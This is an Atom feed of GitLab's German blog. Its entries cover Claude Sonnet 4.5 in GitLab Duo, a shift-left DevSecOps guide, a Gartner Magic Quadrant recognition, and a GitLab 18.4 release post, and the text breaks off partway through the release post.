<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://about.gitlab.com/blog</id>
    <title>GitLab</title>
    <updated>2025-10-09T19:46:29.147Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <author>
        <name>The GitLab Team</name>
    </author>
    <link rel="alternate" href="https://about.gitlab.com/blog"/>
    <link rel="self" href="https://about.gitlab.com/de-de/atom.xml"/>
    <subtitle>GitLab Blog RSS feed</subtitle>
    <icon>https://about.gitlab.com/favicon.ico</icon>
    <rights>All rights reserved 2025</rights>
    <entry>
        <title type="html"><![CDATA[Mehr KI-Auswahl in GitLab Duo: Claude Sonnet 4.5 ist da]]></title>
        <id>https://about.gitlab.com/de-de/blog/greater-ai-choice-in-gitlab-duo-claude-sonnet-4-5-arrives/</id>
        <link href="https://about.gitlab.com/de-de/blog/greater-ai-choice-in-gitlab-duo-claude-sonnet-4-5-arrives/"/>
        <updated>2025-09-29T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab bietet ab sofort Claude Sonnet 4.5, Anthropics fortschrittlichstes Modell für Coding und Real-World-Agenten, direkt im GitLab Duo Modell-Selektor an.</p>
<p>Nutzer(innen) haben nun die Flexibilität, Claude Sonnet 4.5 neben anderen führenden Modellen auszuwählen und ihre <a href="https://about.gitlab.com/de-de/gitlab-duo/">GitLab Duo</a>-Experience mit Verbesserungen in Tool-Orchestrierung, Kontext-Bearbeitung und domänenspezifischen Fähigkeiten zu erweitern. Mit Spitzenleistung auf <a href="https://www.anthropic.com/news/claude-sonnet-4-5">SWE-bench Verified (77,2 %)</a> und Stärken in Cybersecurity, Finanzen und forschungsintensiven Workflows können GitLab-Nutzer(innen) Claude Sonnet 4.5 einsetzen, um schärfere Einblicke und tieferen Kontext in ihre Entwicklungsarbeit zu bringen.</p>
<p>&quot;Claude Sonnet 4.5 in GitLab zu haben, ist ein großer Gewinn für Entwickler(innen). Es ist ein wirklich leistungsfähiges Coding-Modell, und wenn du es mit der GitLab Duo Agent Platform verwendest, erhältst du smartere Hilfe direkt in deinen Workflows. Es ist die Art von Schritt, die Entwicklung einfacher macht&quot;, sagt Taylor McCaslin, Principal, Strategy and Operations for AI Partnerships bei GitLab.</p>
<h2>GitLab Duo Agent Platform + Claude Sonnet 4.5</h2>
<p>Die <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> erweitert die Leistungsfähigkeit von Claude Sonnet 4.5, indem sie Agenten orchestriert, sie mit internen Systemen verbindet und sie über den gesamten Software-Lebenszyklus integriert. Diese Kombination schafft eine einzigartig GitLab-Experience – in der fortschrittliches Reasoning und Problemlösung auf plattformweiten Kontext und Sicherheit treffen. Das Ergebnis ist schnellere Entwicklung, genauere Ergebnisse und stärkere organisatorische Abdeckung – alles direkt im GitLab-Workflow, den Entwickler(innen) täglich nutzen.</p>
<h2>Wie du Claude Sonnet 4.5 nutzen kannst</h2>
<p>Claude Sonnet 4.5 ist jetzt als Modelloption in GitLab Duo Agent Platform Agentic Chat auf GitLab.com verfügbar. Du kannst Claude Sonnet 4.5 aus dem Modellauswahl-Dropdown wählen, um seine Coding-Funktionen für deine Entwicklungsaufgaben zu nutzen.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1759180378/sopuv0msxrmhzt2dyxdi.png" alt="Dropdown-Auswahl für Claude Sonnet 4.5 in GitLab Duo">{altText=&quot;Screenshot showing the model selection dropdown in GitLab Duo with Claude Sonnet 4.5 highlighted as an available option&quot;}</p>
<p><strong>Hinweis:</strong> Die Möglichkeit, Claude Sonnet 4.5 in unterstützten IDEs auszuwählen, wird bald verfügbar sein.</p>
<h2>Leg los</h2>
<p>GitLab Duo Pro- und Enterprise-Kund(inn)en können Claude Sonnet 4.5 ab sofort nutzen. Besuche unsere <a href="https://docs.gitlab.com/user/gitlab_duo/">Dokumentation</a>, um mehr über GitLab Duo-Funktionen und -Modelle zu erfahren.</p>
<p>Fragen oder Feedback? Teile deine Erfahrungen über die GitLab Community mit uns.</p>
<blockquote>
<p>Willst du GitLab Ultimate mit Duo Enterprise ausprobieren? <a href="https://about.gitlab.com/de-de/gitlab-duo/">Melde dich noch heute für eine kostenlose Testversion an.</a></p>
</blockquote>
]]></content>
        <author>
            <name>Tim Zallmann</name>
            <uri>https://about.gitlab.com/blog/authors/tim-zallmann</uri>
        </author>
        <published>2025-09-29T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Shift Left Security: DevSecOps richtig umsetzen – ein Praxisleitfaden]]></title>
        <id>https://about.gitlab.com/de-de/blog/devsecops-shift-left-guide/</id>
        <link href="https://about.gitlab.com/de-de/blog/devsecops-shift-left-guide/"/>
        <updated>2025-09-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Traditionelle Sicherheitsmodelle geraten in modernen <a href="https://about.gitlab.com/de-de/topics/devops/">DevOps-Umgebungen</a> schnell an ihre Grenzen. Sicherheitsprüfungen, die erst spät im Entwicklungsprozess erfolgen, verursachen hohe Kosten, lange Reaktionszeiten und unterbrechen agile Workflows. Der Shift Left Security-Ansatz begegnet diesen Herausforderungen, indem er Sicherheitsmaßnahmen frühzeitig integriert. Statt reaktiv auf Sicherheitslücken zu reagieren, werden Risiken bereits in der Entwicklungsphase erkannt und adressiert. Wir zeigen dir, wie dieser Ansatz funktioniert, welche Vorteile er bietet und wie du Shift Left Security umsetzt.</p>
<h2><strong>Was ist Shift Left Security?</strong></h2>
<p>Shift Left Security bezeichnet einen Ansatz in der Softwareentwicklung, bei dem Sicherheitsmaßnahmen möglichst früh im Entwicklungsprozess integriert werden.</p>
<p>Traditionell wurden Sicherheitstests erst am Ende des Softwareentwicklungszyklus (SDLC) durchgeführt, zum Beispiel in der Test- oder Produktionsphase. Dieses Vorgehen führt oft zu höheren Kosten und längeren Entwicklungszeiten, wenn kritische Sicherheitslücken spät entdeckt werden.</p>
<p>Mit dem Shift Left Ansatz wird das Thema Sicherheit nun auf der Zeitachse der Anwendungsentwicklung nach links verschoben, sodass anfälliger Code früh entdeckt werden kann. Ziel ist es, Schwachstellen schon in den frühen Phasen wie Planung, Design oder Codierung zu erkennen und zu beheben, statt sie erst im späteren Verlauf oder nach dem Deployment zu adressieren.</p>
<h2><strong>Der Shift Left Ansatz</strong></h2>
<p>Shift Left Security ist eine strategische Herangehensweise, bei der Sicherheit möglichst früh in den Entwicklungsprozess integriert wird – nicht durch ein einzelnes Tool, sondern durch eine Kombination verschiedener Maßnahmen.</p>
<p>Typischerweise werden dafür Sicherheitstools entlang des Entwicklungszyklus eingesetzt, darunter:</p>
<ul>
<li><strong>SCA (Software Composition Analysis)</strong>: SCA erkennt Schwachstellen und Lizenzrisiken in Open-Source-Komponenten, indem es Paketverwaltung, Manifestdateien, Binärdateien und Container-Images analysiert. Die Ergebnisse werden in einer Software-Stückliste (sog.<a href="https://about.gitlab.com/de-de/blog/the-ultimate-guide-to-sboms/"> Software Bill of Materials</a>) zusammengeführt und mit Schwachstellen- und Lizenzdatenbanken abgeglichen. So lassen sich Sicherheits- und Compliance-Probleme systematisch aufspüren und schnell adressieren.</li>
<li><strong>SAST (Static Application Security Testing)</strong>: SAST ist ein White-Box-Verfahren, das den Quellcode analysiert, ohne die Anwendung auszuführen. Es spiegelt die Sichtweise von Entwickler(innen) wider und erkennt Schwachstellen früh im Softwareentwicklungszyklus, z. B. fehlende Eingabevalidierung oder unsichere Codemuster. Dadurch ist es besonders kosteneffizient. Laufzeit- oder umgebungsbezogene Probleme kann SAST allerdings nicht erfassen.</li>
<li><strong>DAST (Dynamic Application Security Testing)</strong>: DAST ist ein Black-Box-Verfahren, das laufende Web-Anwendungen testet und sich an der Methodik potenzieller Angreifer(innen) orientiert. Es erkennt Schwachstellen wie XSS, fehlerhafte Authentifizierung oder Konfigurationsfehler zur Laufzeit – ohne Kenntnis des zugrundeliegenden Codes. DAST wird typischerweise in späten Phasen der Entwicklung oder in Testumgebungen eingesetzt und eignet sich ausschließlich für Web-Anwendungen und -Services.</li>
<li><strong>Secret Scanning:</strong> Shift Left Security umfasst auch das Scannen von Container-Images und serverlosen Funktionen, da moderne Anwendungen zunehmend in Containern ausgeführt oder über serverlose Architekturen bereitgestellt werden. Beim Scannen eines <a href="https://about.gitlab.com/de-de/topics/devsecops/beginners-guide-to-container-security/">Container-Images</a> wird der Inhalt auf Sicherheitslücken, Schwachstellen im Build-Prozess und fehlerhafte Konfigurationen geprüft. Ziel ist es, Probleme zu erkennen, bevor das Image in der Produktion verwendet wird. Das Scannen serverloser Funktionen erfordert spezielle Überwachungslösungen, die cloud-native Umgebungen abdecken und auch ohne klassische Serverinfrastruktur funktionieren.</li>
</ul>
<p>Diese Tools können einzeln oder kombiniert verwendet werden. Effektiver ist jedoch eine <a href="https://about.gitlab.com/de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform/">automatisierte Sicherheitsplattform</a>, die Risiken in allen Phasen des Entwicklungszyklus erkennt – von der Codierung bis zur Bereitstellung. So können DevOps-Teams Schwachstellen frühzeitig und systematisch beheben.</p>
<p><strong>Lesetipp:</strong> <a href="https://about.gitlab.com/de-de/topics/devsecops/sast-vs-dast/">SAST vs. DAST - Die Unterschiede erklärt</a></p>
<h2><strong>Vorteile der Shift Left Security</strong></h2>
<p>Die Linksverschiebung sicherheitsrelevanter Maßnahmen führt zu einer Reihe von Vorteilen für Unternehmen und Entwickler(innen).</p>
<ul>
<li><strong>Frühzeitiges Erkennen von Sicherheitsrisiken:</strong> Durch Sicherheitsanalysen direkt im Code oder bei der Integration von Abhängigkeiten lassen sich Schwachstellen erkennen, bevor sie in produktive Systeme gelangen. Dies verschafft Entwickler(innen) mehr Zeit für die Reaktion und reduziert die potenzielle Bedrohung (beispielsweise durch Exploits oder Datenlecks) erheblich.</li>
<li><strong>Geringere Kosten für Fehlerbehebung:</strong> Je später ein Sicherheitsfehler entdeckt wird, desto teurer ist seine Behebung. Wird eine Schwachstelle bereits vor dem Build entdeckt, reicht oft eine einfache Codeänderung – ohne zusätzlichen Aufwand für Tests oder Deployments. Wird das Problem erst in der Produktion bemerkt, ist der Aufwand deutlich höher und der gesamte Prozess kann Wochen dauern. Frühes Eingreifen spart Zeit, senkt die Kosten und ermöglicht es Entwickler(innen), sich stärker auf neue Funktionen statt auf Notfallpatches zu konzentrieren.</li>
<li><strong>Schnellere Entwicklungszyklen:</strong> Sicherheitsprobleme lassen sich schneller beheben, solange sie nur im Quellcode bestehen. Wird ein Problem erst kurz vor dem Release oder in der Produktion entdeckt, verlängert sich der Behebungsprozess deutlich – mit der Gefahr, gesetzte Fristen zu verpassen und die Time-to-Market zu verlangsamen.</li>
<li><strong>Bessere Codequalität:</strong> Sicherheitsüberprüfungen fördern eine saubere Code-Architektur, konsistente Implementierung und verständlichen Code. So entstehen robuste und wartbare Anwendungen.</li>
<li><strong>Bessere Zusammenarbeit:</strong> Shift Left Security fördert die Zusammenarbeitzwischen Entwickler(innen) und Security-Teams. Wird ein Sicherheitsproblem früh im Quellcode erkannt, können beide Seiten gemeinsam daran arbeiten, ohne Schuldzuweisungen oder Zeitdruck. Das verbessert die Kommunikation und stärkt das gegenseitige Verständnis.</li>
<li><strong>Reduziertes Risiko im Live-Betrieb:</strong> Wird eine Schwachstelle erst im laufenden Betrieb entdeckt, sind schnelle und oft drastische Maßnahmen nötig – etwa das Abschalten der App. Wird die Schwachstelle hingegen bereits während der Entwicklung identifiziert, lässt sie sich mit geringem Aufwand und ohne größere Auswirkungen auf Nutzer(innen) beheben.</li>
</ul>
<h2><strong>Best Practices für deinen Shift Left Security Ansatz</strong></h2>
<p>Shift Left Security erfordert die frühzeitige und umfassende Integration von Sicherheitsmaßnahmen in den Entwicklungsprozess – idealerweise ab dem ersten Moment, in dem Entwickler(innen) mit dem Programmieren beginnen. Die Sicherheitsprüfung soll nicht nachgelagert, sondern integraler Bestandteil der täglichen Entwicklungsarbeit sein. Damit das gelingt, solltest du auf Best Practices zurückgreifen.</p>
<h3><strong>#1 Integration von Sicherheitsmaßnahmen in die CI/CD-Pipeline</strong></h3>
<p>Sicherheits-Scans sind ein zentrales Element des Shift-Left-Ansatzes. Ihre volle Wirkung entfalten sie aber nur, wenn die Ergebnisse unmittelbar in die<a href="https://about.gitlab.com/de-de/topics/ci-cd/shift-left-devops/"> DevOps-Toolkette</a> eingebunden sind. Reports sollten direkt im CI/CD-Pipeline-Bericht angezeigt werden, sodass Entwickler(innen) sie ohne Umwege nutzen können. Zusätzlich sollte die Erstellung einer Software Bill of Materials (SBOM) automatisiert werden, um alle verwendeten Abhängigkeiten, Container-Images und serverlosen Funktionen transparent zu erfassen und systematisch auf bekannte Schwachstellen zu prüfen.</p>
<h3><strong>#2 Anwendung von Security-Tools in der Entwicklungsumgebung</strong></h3>
<p>Sicherheitsfunktionen sollten direkt in die Entwicklungsumgebung eingebunden werden, damit Schwachstellen bereits vor Übertragung in den Main Branch erkannt werden. Durch die Integration in die vertrauten Toolsets der Entwickler(innen) wird eine kontinuierliche Zusammenarbeit mit dem Security-Team ermöglicht und der Aufwand für nachträgliche Korrekturen deutlich reduziert.</p>
<h3><strong>#3 Schulung von Entwickler(innen)</strong></h3>
<p>Damit Entwickler(innen) die Anwendungssicherheit bereits frühzeitig im Prozess berücksichtigen, ist eine intensive Schulung notwendig. Entwicklerteams müssen verstehen, warum sie Sicherheitsprüfungen frühzeitig durchführen – und welchen Beitrag das zur Gesamtqualität und Stabilität der Anwendung leistet. Dazu eignen sich praxisnahe und rollenbezogene Schulungsformate wie z. B. Code Labs, Code Guidelines oder Hands-on-Training.</p>
<h3><strong>#4 Integration von Security Reviews in Code Reviews und Pull Requests</strong></h3>
<p>Sicherheit sollte auch Teil von <a href="https://about.gitlab.com/de-de/topics/version-control/what-is-code-review/">Code Reviews</a> sein. Teams können z. B. Checklisten mit sicherheitsrelevanten Aspekten verwenden. Pair Programming bietet zusätzlich die Möglichkeit, Sicherheit direkt beim Schreiben des Codes mitzudenken – vor allem in frühen Projektphasen.</p>
<h2><strong>HackerOne + GitLab: Setze Shift Left Security einfach und kostengünstig um</strong></h2>
<p>Eine der größten Herausforderungen für die Umsetzung der Shift Left Sicherheit für Entwicklerteams ist eine aufgeblähte Toolchain. Der Wechsel zwischen Tools und unklare Rollenverteilungen können die frühzeitige Integration von Sicherheitsüberprüfungen behindern.</p>
<p>GitLab bietet mit HackerOne eine integrierte Lösung, die Security-Teams und Entwickler(innen) effektiv verbindet. Sicherheitslücken, die über HackerOne gemeldet und validiert werden, werden automatisch in GitLab als Tickets angelegt. Diese enthalten unter anderem:</p>
<ul>
<li>Synchronisation von Kommentaren</li>
<li>Statusänderungen</li>
<li>Zuständigkeiten</li>
<li>Belohnungen</li>
<li>Fälligkeitsdaten</li>
</ul>
<p>Die Kommunikation erfolgt dabei bidirektional zwischen beiden Plattformen. Die Integration ermöglicht es somit Entwickler(innen), im gewohnten Workflow zu bleiben und Sicherheitslücken direkt zu bearbeiten.</p>
<h3><strong>Auswirkungen der automatisierten Sicherheitsintegration</strong></h3>
<p>Die Integration von HackerOne und GitLab führt in der Praxis zu:</p>
<ul>
<li>Bis zu 70 Prozent Zeitersparnis von der Entdeckung bis zur Behebung von Schwachstellen</li>
<li>Erhöhte Transparenz über den Sicherheitsstatus im gesamten Unternehmen</li>
<li>Effektivere Nutzung der Ressourcen im Security-Team</li>
<li>Gesteigerte Zufriedenheit der Entwickler(innen), da sie im bevorzugten Workflow bleiben können</li>
</ul>
<h2><strong>Keine Kompromisse bei der Shift Left Security</strong></h2>
<p>Shift Left Security verschiebt das Thema Sicherheit weg von der Endkontrolle hin zur kontinuierlichen Begleitung des Entwicklungsprozesses. Durch Tools wie SAST, DAST, SCA und Container-Scanning lassen sich Schwachstellen frühzeitig identifizieren – noch bevor sie produktiv wirksam werden. Das senkt Kosten, reduziert Risiken und beschleunigt Entwicklungszyklen.</p>
<p>Erfolgreich ist dieser Ansatz jedoch nur, wenn Sicherheitsprüfungen eng in die<a href="https://about.gitlab.com/de-de/topics/ci-cd/cicd-pipeline/"> CI/CD-Pipeline</a> und Entwicklungsumgebungen integriert werden und Entwickler(innen) durch gezielte Schulungen und klare Prozesse unterstützt werden. Die Fallstudie zu GitLab und HackerOne zeigt zudem, dass integrierte Plattformen Kontextwechsel vermeiden und die Effizienz deutlich steigern können. Entscheidend für eine nachhaltige Umsetzung ist eine Sicherheitskultur, in der Entwicklung und Security partnerschaftlich und auf Augenhöhe zusammenarbeiten.</p>
]]></content>
        <author>
            <name>GitLab Germany Team</name>
            <uri>https://about.gitlab.com/blog/authors/gitlab-germany team</uri>
        </author>
        <published>2025-09-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab als Leader im 2025 Gartner Magic Quadrant für DevOps-Plattformen ausgezeichnet]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-devops-platforms/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-devops-platforms/"/>
        <updated>2025-09-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Zum dritten Mal in Folge wurde GitLab als <strong>Leader im 2025 Gartner® Magic Quadrant™ für DevOps-Plattformen</strong> ausgezeichnet – basierend auf der Fähigkeit zur Umsetzung und der Vollständigkeit der Vision.</p>
<p>Wir glauben, dass diese Anerkennung unsere umfassende Plattformstrategie in einem kritischen Moment für die Softwareentwicklung bestätigt. Unternehmen wetteifern darum, KI-gestützte Funktionen zu übernehmen und gleichzeitig Sicherheit, Compliance und operative Exzellenz aufrechtzuerhalten. Erfolg erfordert einen einheitlichen Plattformansatz, der die Art und Weise transformiert, wie Teams zusammenarbeiten und Mehrwert liefern.</p>
<p>Ob unsere Kunden agile Software bereitstellen, Cloud-native Anwendungen entwickeln oder Plattformen konstruieren – GitLab ermöglicht es ihnen, im Einklang mit KI-Agenten zusammenzuarbeiten, um sichere und zuverlässige Software schneller zu liefern.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1758812615/sfchvkvtczmzqlaalk7y.png" alt="2025 Gartner® Magic Quadrant™ für DevOps-Plattformen"></p>
<p>&lt;p&gt;&lt;/p&gt;</p>
<blockquote>
<p><a href="https://about.gitlab.com/de-de/gartner-magic-quadrant/">Lade den Report herunter</a>, um mehr zu erfahren.</p>
</blockquote>
<h2>Schnellere Time-to-Value</h2>
<p>Unsere Mission ist es, allen zu ermöglichen, zur Software beizutragen und sie mitzugestalten, die unsere Welt antreibt. <a href="https://about.gitlab.com/de-de/blog/gitlab-18-4-ai-native-development-with-automation-and-insight/">Das rasante Tempo unserer Innovationsagenda</a> zeigt, dass wir noch lange nicht fertig sind. Wir haben unseren Kunden über 150 Monate hinweg jeden Monat neue Lösungen geliefert, und diese Tradition wird fortgesetzt.</p>
<p>Während wir die Branche anführen, bleiben wir unserem Engagement treu, unseren Kunden dabei zu helfen, diese neuen Funktionen in Geschäftswert umzusetzen.</p>
<p>Wir sind fest davon überzeugt, dass in dieser Ära beschleunigter KI-gestützter Innovation im gesamten Technologie-Ökosystem <a href="https://about.gitlab.com/de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform/">ein einheitlicher Plattformansatz</a> zur Bewältigung der schwierigsten Engineering-Herausforderungen unserer Kunden wichtiger denn je ist. Dieser Ansatz ermöglicht es Organisationen, Integrations-Overhead zu reduzieren, Sicherheitslücken zu schließen und Innovationen zu übernehmen, ohne bestehende Software-Delivery-Workflows zu stören.</p>
<p>Hier sind einige Beispiele:</p>
<ul>
<li><strong>Beschleunige Releases mit agentischer KI:</strong> Fragmentierte Toolchains verlangsamen Code Reviews und Tests. GitLab Duo Agents und Flows automatisieren Aufgaben wie Code Reviews, Testgenerierung und Vulnerability Triage im Kontext der vollständigen Plattform und helfen Teams, Zykluszeiten zu verkürzen und die Qualität zu verbessern.</li>
<li><strong>Von Anfang an sicher entwickeln:</strong> Viele Organisationen behandeln Sicherheit als nachträglichen Gedanken, was zu kostspieliger Nacharbeit und Compliance-Lücken führt. GitLab bettet Scanning, Policy-Durchsetzung und Compliance-Checks in alltägliche Workflows ein und erkennt Risiken früher, ohne Entwickler auszubremsen.</li>
<li><strong>Mit Flexibilität deployen:</strong> Teams mit strengen regulatorischen oder operativen Einschränkungen benötigen Deployment-Optionen jenseits von Multi-Tenant-SaaS. GitLab unterstützt SaaS, Self-Managed, Air-Gapped und <a href="https://about.gitlab.com/press/releases/2025-05-19-gitlab-announces-gitlab-achieves-fedramp-moderate-authorization/">FedRAMP Moderate autorisierte</a> Umgebungen und stellt sicher, dass Kunden die Kontrolle behalten, wo Wettbewerber das nicht können.</li>
<li><strong>Konsistente Innovation liefern:</strong> Tool-Fragmentierung macht die Übernahme neuer Features riskant und störend. GitLabs monatliche Releases liefern neue Funktionen wie <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a>, erweiterte KI-Governance und Cloud-Integrationen, die Teams ohne Umrüstung übernehmen können.</li>
</ul>
<h2>Kundenanwendungsfälle, die wirklich zählen</h2>
<p>GitLab unterstützt die folgenden Innovationsbereiche:</p>
<ul>
<li><strong><a href="https://about.gitlab.com/platform/">Integriertes Toolset</a></strong> für Cloud-native Bereitstellung und Unternehmensskalierung</li>
<li><strong><a href="https://about.gitlab.com/solutions/agile-delivery/">Erweiterte Planungstools</a></strong> und <strong><a href="https://about.gitlab.com/solutions/application-security-testing/">umfangreiche Sicherheitsfunktionen</a></strong></li>
<li><strong><a href="https://about.gitlab.com/stages-devops-lifecycle/package/">Package Management</a></strong> und Feature Flags für progressive Bereitstellung</li>
<li><strong><a href="https://about.gitlab.com/solutions/analytics-and-insights/">Value Stream Metriken</a></strong> für Sichtbarkeit und Verbesserung über den gesamten Lebenszyklus</li>
<li><strong><a href="https://about.gitlab.com/gitlab-duo/agent-platform/">KI-native Workflows</a></strong>, direkt in tägliche Aufgaben eingebettet</li>
</ul>
<p>Diese Vielseitigkeit führt zu echtem Kundenwert, wie Bal Kang, Engineering Platform Lead bei NatWest, erklärt:</p>
<p><em>„GitLab Duo KI-Agenten in unserem System of Record für Code, Tests, CI/CD und den gesamten Software-Entwicklungslebenszyklus eingebettet zu haben, steigert Produktivität, Geschwindigkeit und Effizienz. Die Agenten verstehen Absichten, zerlegen Probleme und werden aktiv – sie werden zu echten Mitarbeitern unserer Teams.&quot;</em></p>
<p>Die Verlagerung hin zu einheitlichen Plattformen stellt eine grundlegende Veränderung dar, wie Organisationen an die Softwareentwicklung herangehen. Wir glauben, dass Gartner® uns deshalb kürzlich auch <a href="https://about.gitlab.com/de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants/">als Leader im 2025 Magic Quadrant™ für AI Code Assistants</a> ausgezeichnet hat.</p>
<p>Da Unternehmen die Entwicklerproduktivität sicher maximieren und Innovation beschleunigen möchten, wird ein umfassender Plattformansatz dringender denn je.</p>
<blockquote>
<p><a href="https://about.gitlab.com/de-de/gartner-magic-quadrant/">Lade den Report herunter</a>, um mehr zu erfahren.</p>
</blockquote>
<p><em>GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen Tochtergesellschaften in den USA und international, und MAGIC QUADRANT ist eine eingetragene Marke von Gartner, Inc. und/oder seinen Tochtergesellschaften und wird hier mit Genehmigung verwendet. Alle Rechte vorbehalten.</em></p>
<p><em>Gartner befürwortet keinen Anbieter, kein Produkt oder keine Dienstleistung, die in seinen Forschungspublikationen dargestellt werden, und rät Technologiebenutzern nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Bezeichnungen auszuwählen. Gartner-Forschungspublikationen bestehen aus den Meinungen der Forschungsorganisation von Gartner und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Garantien in Bezug auf diese Forschung ab, einschließlich jeglicher Garantien der Marktgängigkeit oder Eignung für einen bestimmten Zweck.</em></p>
<p><em>Diese Grafik wurde von Gartner Inc. als Teil eines größeren Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage bei Gartner B.V. erhältlich.</em></p>
<p><em>Quelle: Gartner, Magic Quadrant for DevOps Platforms, Keith Mann, Thomas Murphy, Bill Holz, George Spafford, 22. September 2025</em></p>
]]></content>
        <author>
            <name>Manav Khurana</name>
            <uri>https://about.gitlab.com/blog/authors/manav-khurana</uri>
        </author>
        <published>2025-09-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab 18.4: KI-native Entwicklung, voll automatisiert und transparent]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-18-4-ai-native-development-with-automation-and-insight/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-18-4-ai-native-development-with-automation-and-insight/"/>
        <updated>2025-09-23T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Als Entwickler(in) weißt du: Moderne Entwicklung bedeutet mehr als nur Code schreiben – es geht um das Management von Änderungen über den gesamten Software-Entwicklungszyklus hinweg.</p>
<p>Mit <a href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/">GitLab 18.3</a> haben wir das Fundament für echte Mensch-KI-Zusammenarbeit gelegt. Wir integrierten führende KI-Tools wie Claude Code, Codex CLI, Amazon Q CLI und Gemini CLI nativ in GitLab, lieferten unsere erste Vorschau des GitLab Model Context Protocol (<a href="https://about.gitlab.com/topics/ai/model-context-protocol/">MCP</a>)-Servers in Partnerschaft mit Cursor und veröffentlichten zwei neue Flows – Issue to MR und Convert CI File for Jenkins Flows – um Teams bei alltäglichen Herausforderungen zu unterstützen.</p>
<p>Mit <a href="https://about.gitlab.com/releases/2025/09/18/gitlab-18-4-released/">GitLab 18.4</a> erweitern wir deine Möglichkeiten, eigene Agents zu erstellen und zu teilen, effektiver durch Agentic Chat zusammenzuarbeiten, Codebasen mit dem Knowledge Graph zu navigieren und Pipelines mit dem Fix Failed Pipelines Flow grün zu halten – während wir gleichzeitig mehr Sicherheit und Governance für deine KI-Nutzung bieten.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1120293274?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;18.4 Release video placeholder&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<blockquote>
<p>Hast du Fragen zu den neuesten Features in GitLab 18.4? <a href="https://www.linkedin.com/events/q-a-code-exploringgitlab18-4and7373772262312906753/theater/">Sei bei The Developer Show dabei</a> – live auf LinkedIn am 23. September um 10:00 Uhr PT (19:00 Uhr in Europa) oder kurz danach auf Abruf!</p>
</blockquote>
<h2>Gestalte deine Experience</h2>
<p><em>Starte deinen Tag mit dem AI Catalog – einer Bibliothek spezialisierter Agents, die Prioritäten aufzeigen, Routinearbeit automatisieren und dich auf das Wesentliche fokussiert halten.</em></p>
<h3>AI Catalog als deine Bibliothek spezialisierter Agents</h3>
<p>Mit GitLab 18.4 führen wir den GitLab Duo AI Catalog ein – eine zentrale Bibliothek, in der Teams maßgeschneiderte Agents erstellen, teilen und unternehmensweit nutzen können. Jedes Team hat seine eigene Arbeitsweise. Ein Custom Agent zu erstellen ist daher wie das Einarbeiten eines neuen Kollegen in die „richtige&quot; Arbeitsweise deiner Organisation.</p>
<p>Zum Beispiel kann ein Custom Product Planning Agent Bugs im spezifischen Format mit deinen Labeling-Standards erfassen, ein Technical Writer Agent kann prägnante Dokumentation nach deinen Konventionen verfassen, oder ein Security Agent stellt sicher, dass deine Sicherheits- und Compliance-Standards bei jedem MR eingehalten werden. Statt als isolierte Tools zu funktionieren, werden diese Agents Teil des natürlichen Arbeitsflusses in GitLab – sie beschleunigen Aufgaben ohne etablierte Prozesse zu stören.</p>
<p><strong>Hinweis:</strong> Diese Funktion ist derzeit nur auf GitLab.com verfügbar. Für Self-Managed-Kunden planen wir die Bereitstellung nächsten Monat mit Release 18.5.</p>
<h2>Bleib im Flow</h2>
<p><em>GitLab Duo Agentic Chat macht die Zusammenarbeit mit Agents nahtlos.</em></p>
<h3>Smarterer Agentic Chat für optimierte Zusammenarbeit mit Agents</h3>
<p>Als Herzstück der GitLab Duo Agent Platform bietet dir <a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/">Agentic Chat</a> eine nahtlose Möglichkeit, mit KI-Agents zusammenzuarbeiten. Das neueste Update des Agentic Chat mit GitLab 18.4 verbessert das Chat-Erlebnis und erweitert die Verwaltung und Darstellung von Sessions.</p>
<ul>
<li>
<p><strong>Chat mit Custom Agents</strong></p>
<p>Starten wir mit deinem neu erstellten Custom Agent. Einmal designt, kannst du diesen Agent sofort über Agentic Chat einsetzen. Du könntest deinen neuen Agent beispielsweise fragen: „Zeig mir meine Aufgaben für heute&quot;, um mit deinen Prioritäten zu starten. Zusätzlich hast du jetzt die Möglichkeit, neue Unterhaltungen mit neuen Agents zu beginnen und vorherige Unterhaltungen fortzusetzen, ohne den Kontext zu verlieren.</p>
</li>
<li>
